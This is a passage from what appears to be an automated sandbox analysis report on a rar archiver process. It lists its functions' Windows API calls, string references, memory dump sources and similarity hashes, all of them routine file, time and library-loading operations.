APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBD00211
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBD00222
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBD0022D
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBD0023E
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBD003D3
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBD003E4
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6BBD003EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6BBD00400

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: ExceptionThrowstd::bad_alloc::bad_alloc
String ID:
API String ID: 932687459-0
Opcode ID: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction ID: 9a8c94d6be61bdadb165d8945c05739c20d8487b9a9a57c18d43c2fa7be63fe6
Opcode Fuzzy Hash: 17b6f32cd8d6fcc81585299b8a9163aaa78fd032cef7b8e26f7336cc4ddc1b9c
Instruction Fuzzy Hash: CF81E922A0DA8699EB29DB29D4703BD6350FB4CB94F984A31DB4D87BB5DF7CE4418304

Function 00007FF6BBCBC468 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 420COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCBC7AE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCBC97F
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCBC9DC

Strings

;%u, xrefs: 00007FF6BBCBC79E
x%u, xrefs: 00007FF6BBCBC96F
xc%u, xrefs: 00007FF6BBCBC9CC

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%u$x%u$xc%u
API String ID: 233258989-2277559157
Opcode ID: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction ID: f01c2bf0823c4192e14907de196a3eb37256f17e7546b9a4519a2dfaaf991221
Opcode Fuzzy Hash: 18e8202548affe00674286321b5f124759c48e138fb2ddf063aaae7488dbebd7
Instruction Fuzzy Hash: E202BD22B1C68681EA38DA2991493FE67B1BF49780F000035DB9EDB6A7DFADF445C311

Function 00007FF6BBCD1634 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF6BBCD1694
GetShortPathNameW.KERNEL32 ref: 00007FF6BBCD16B5

Part of subcall function 00007FF6BBCFDAC0: CompareStringW.KERNEL32(?,?,?,?,?,?,00007FF6BBCE4C1E,?,?,?,?,?,?,?,00007FF6BBD09706), ref: 00007FF6BBCFDADF

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6BBCD175F
MoveFileW.KERNEL32 ref: 00007FF6BBCD17CD
MoveFileW.KERNEL32 ref: 00007FF6BBCD1815

Strings

rtmp%d, xrefs: 00007FF6BBCD1755

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: FileMoveNamePath$CompareLongShortStringswprintf
String ID: rtmp%d
API String ID: 2308737092-3303766350
Opcode ID: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction ID: b12e2fe16e794663e519c11788ee222e497519776e1a1075d6457e0fe50d8dd3
Opcode Fuzzy Hash: de0bcd3fdd60b8f1859e4975922cee0e0ab7dbe13660142ab9f58961243ff5d4
Instruction Fuzzy Hash: 9D518416B985C685EA30DF29E8591FD6361BF48784F551131DB0DC7AAADF3CE605C310

Function 00007FF6BBCFB650 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32 ref: 00007FF6BBCFB66A
CloseHandle.KERNEL32 ref: 00007FF6BBCFB685
CreateEventW.KERNEL32 ref: 00007FF6BBCFB699
GetLastError.KERNEL32 ref: 00007FF6BBCFB6A6
CloseHandle.KERNEL32 ref: 00007FF6BBCFB6C0

Strings

rar -ioff, xrefs: 00007FF6BBCFB65C, 00007FF6BBCFB68B

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CloseCreateEventHandle$ErrorLast
String ID: rar -ioff
API String ID: 4151682896-4089728129
Opcode ID: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction ID: 3538cf37bccc810530778cad8212ab69147ffa62d04ffdd3317db0d7976d8142
Opcode Fuzzy Hash: 1b32cc9a5b3853ccf39725862a0ac8b7945a78bb0f3e0147b511bdfad103efab
Instruction Fuzzy Hash: BD016D24A1AA47C6FB1DDFB8E9546392371BF4C706F544A31DB0E862B0CF3CA0488644

Function 00007FF6BBCFB470 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6BBCFB488
GetProcAddress.KERNEL32 ref: 00007FF6BBCFB4A0
GetProcAddress.KERNEL32 ref: 00007FF6BBCFB4D5

Strings

kernel32, xrefs: 00007FF6BBCFB481
SetDefaultDllDirectories, xrefs: 00007FF6BBCFB4CB
SetDllDirectoryW, xrefs: 00007FF6BBCFB496

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: SetDefaultDllDirectories$SetDllDirectoryW$kernel32
API String ID: 667068680-1824683568
Opcode ID: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction ID: 3d4a43fbdc51cd9b975287ed98888777bd79b89074c31b53e0b531c86090eb4d
Opcode Fuzzy Hash: 8cf5c4d02fd6faa15582d92511ad3bd01355bb3a29212f000fb48e6594ec6bc8
Instruction Fuzzy Hash: C9F03C25A09B8682EE08DF19F9540792760BF4DBC0B489630DE1E87734EF3CE449C304

Function 00007FF6BBD11ADC Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD11B14
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD11E39
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6BBD120BE

Strings

-, xrefs: 00007FF6BBD11B8B
+, xrefs: 00007FF6BBD11B96

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: +$-
API String ID: 3215553584-2137968064
Opcode ID: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction ID: 8c60fd6d17ef8d80984c62469d34be7fb4f331d9c50f0b9c1cd0e6b7c24c77d0
Opcode Fuzzy Hash: 6f396bf2fa0b9258a91da6205a77601ce69ace0f3c9f84e6f9ba191af742c055
Instruction Fuzzy Hash: 2A129E2AE0D5A385FB28DA5D90442B86696FB48764FCC4332D79EC36E0DF2DE691C305

Function 00007FF6BBCCE49C Relevance: 9.1, APIs: 6, Instructions: 148COMMON

Download Yara Rule

APIs

BackupRead.KERNEL32 ref: 00007FF6BBCCE523
BackupRead.KERNEL32 ref: 00007FF6BBCCE572
BackupSeek.KERNEL32 ref: 00007FF6BBCCE5CB
BackupRead.KERNEL32 ref: 00007FF6BBCCE641
BackupSeek.KERNEL32 ref: 00007FF6BBCCE679
wcschr.LIBVCRUNTIME ref: 00007FF6BBCCE6B4

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Backup$Read$Seek$wcschr
String ID:
API String ID: 2092471728-0
Opcode ID: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction ID: 2a31fd158eaedfcd40b4760ff1498567ffa4125a20ba02da26ba3b7e0b2f551f
Opcode Fuzzy Hash: bf2be669b84e778a922cb721f987b286462bef24a2ee3b0e5ee0b4462bdc88cd
Instruction Fuzzy Hash: 3F51883261878686EB20CF19E44416A77B4FB99B94F500235EB9D83BE8DF3CE555CB40

Function 00007FF6BBCFBC8C Relevance: 9.1, APIs: 6, Instructions: 113timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCD6754: GetVersionExW.KERNEL32 ref: 00007FF6BBCD6785

FileTimeToLocalFileTime.KERNEL32 ref: 00007FF6BBCFBCEF
FileTimeToSystemTime.KERNEL32 ref: 00007FF6BBCFBCFB
SystemTimeToTzSpecificLocalTime.KERNEL32 ref: 00007FF6BBCFBD0B
SystemTimeToFileTime.KERNEL32 ref: 00007FF6BBCFBD19
SystemTimeToFileTime.KERNEL32 ref: 00007FF6BBCFBD27
FileTimeToSystemTime.KERNEL32 ref: 00007FF6BBCFBD68

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction ID: 9581bb66e227cacf2f2e903ba352a93f7bfdc0bb416d73c053c3257d9aa0bd1c
Opcode Fuzzy Hash: 783e0797a035659b3492376ae89a00853b2f1d30ad776eeab2f46d2c2c056a92
Instruction Fuzzy Hash: 9C5126B2B146558EEB58CFB8D4445AC37B1FB08B88B60413ADF0E96B68EF38D555CB00

Function 00007FF6BBCFC254 Relevance: 9.1, APIs: 6, Instructions: 81timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF6BBCFC2B8

Part of subcall function 00007FF6BBCD6754: GetVersionExW.KERNEL32 ref: 00007FF6BBCD6785

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF6BBCFC2DA
FileTimeToSystemTime.KERNEL32 ref: 00007FF6BBCFC2E6
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF6BBCFC2F6
SystemTimeToFileTime.KERNEL32 ref: 00007FF6BBCFC304
SystemTimeToFileTime.KERNEL32 ref: 00007FF6BBCFC312

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction ID: 1308b37c48b12b00fb61ad290d4c91ecb9d03de8f13a9e1bd2ced52c64f87d5e
Opcode Fuzzy Hash: 41967c4cfece844e9e60fb7580ce40b35ceb9cc7a7776e0bae41eece92730556
Instruction Fuzzy Hash: 36313662B14A518EEB04CFB8D8901BD3770FF08B48B54552AEF0EA7A68EF38D495C700

Function 00007FF6BBCEEB40 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BBCB72C4: new.LIBCMT ref: 00007FF6BBCB73DE

new.LIBCMT ref: 00007FF6BBCEEBB4

Strings

sfx, xrefs: 00007FF6BBCEECC9
exe, xrefs: 00007FF6BBCEECDC
rebuilt., xrefs: 00007FF6BBCEECA3
rar, xrefs: 00007FF6BBCEECF2

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID:
String ID: exe$rar$rebuilt.$sfx
API String ID: 0-13699710
Opcode ID: 969fda4f40c314800319598d7d1b53e9821355c5f20c2078fec8c7b385f8f9f5
Instruction ID: 7fc7fbfd2bd8504474140b25f10b243f2d76bfbfeaa054cf6f1df69d3f26b52f
Opcode Fuzzy Hash: 969fda4f40c314800319598d7d1b53e9821355c5f20c2078fec8c7b385f8f9f5
Instruction Fuzzy Hash: 32818421A186C385EA74DB69D41A2FD27A2FB89384F404131DB5D8BAEADF2DF605C740

Function 00007FF6BBD0E0C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

abort.LIBCMT ref: 00007FF6BBD0E0F4
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF6BBD0E1BC
RtlUnwindEx.KERNEL32 ref: 00007FF6BBD0E20B

Strings

f, xrefs: 00007FF6BBD0E13A
csm, xrefs: 00007FF6BBD0E1A2

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: CurrentImageNonwritableUnwindabort
String ID: csm$f
API String ID: 3913153233-629598281
Opcode ID: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction ID: 52c95058cb01aa9aabb46ecdc49671b5145a384809bb253792a91387449d4e2b
Opcode Fuzzy Hash: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction Fuzzy Hash: 1E619036E0964287EB1CDB29E454A793791FB4CB94F948638DF1A877A8DF7CE8418700

Function 00007FF6BBCCEA18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32(?,00007FF6BBCCEBC2), ref: 00007FF6BBCCEA7C
GetFileSecurityW.ADVAPI32(?,00007FF6BBCCEBC2), ref: 00007FF6BBCCEABC
GetSecurityDescriptorLength.ADVAPI32(?,00007FF6BBCCEBC2), ref: 00007FF6BBCCEB0A

Strings

, xrefs: 00007FF6BBCCEAE3
ACL, xrefs: 00007FF6BBCCEB39

Memory Dump Source

Source File: 00000069.00000002.2058751378.00007FF6BBCB1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF6BBCB0000, based on PE: true

Associated: 00000069.00000002.2058709732.00007FF6BBCB0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058823399.00007FF6BBD20000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058874469.00007FF6BBD38000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058914324.00007FF6BBD39000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD3A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD44000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD4E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2058952098.00007FF6BBD56000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059150760.00007FF6BBD58000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000069.00000002.2059191683.00007FF6BBD5E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_105_2_7ff6bbcb0000_rar.jbxd

Similarity

API ID: Security$File$DescriptorLength
String ID: $ACL
API String ID: 2361174398-1852320022
Opcode ID: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction ID: c6dfac94ff5804725e1c4807196d371a1fb3b2bfe3b39fae5f74b6d9e29c28de
Opcode Fuzzy Hash: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction Fuzzy Hash: D0318061B09A8292EB24DB15E4543EA63B4FB9C784F804135EB8DC3BA6DF3CE615C740

Function 00007FF6BBCB7188 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

CompareStringOrdinal.KERNEL32 ref: 00007FF6BBCB722B

Part of subcall function 00007FF6BBCD6754: GetVersionExW.KERNEL32 ref: 00007FF6BBCD6785

GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF6BBCB68EB), ref: 00007FF6BBCB71CB
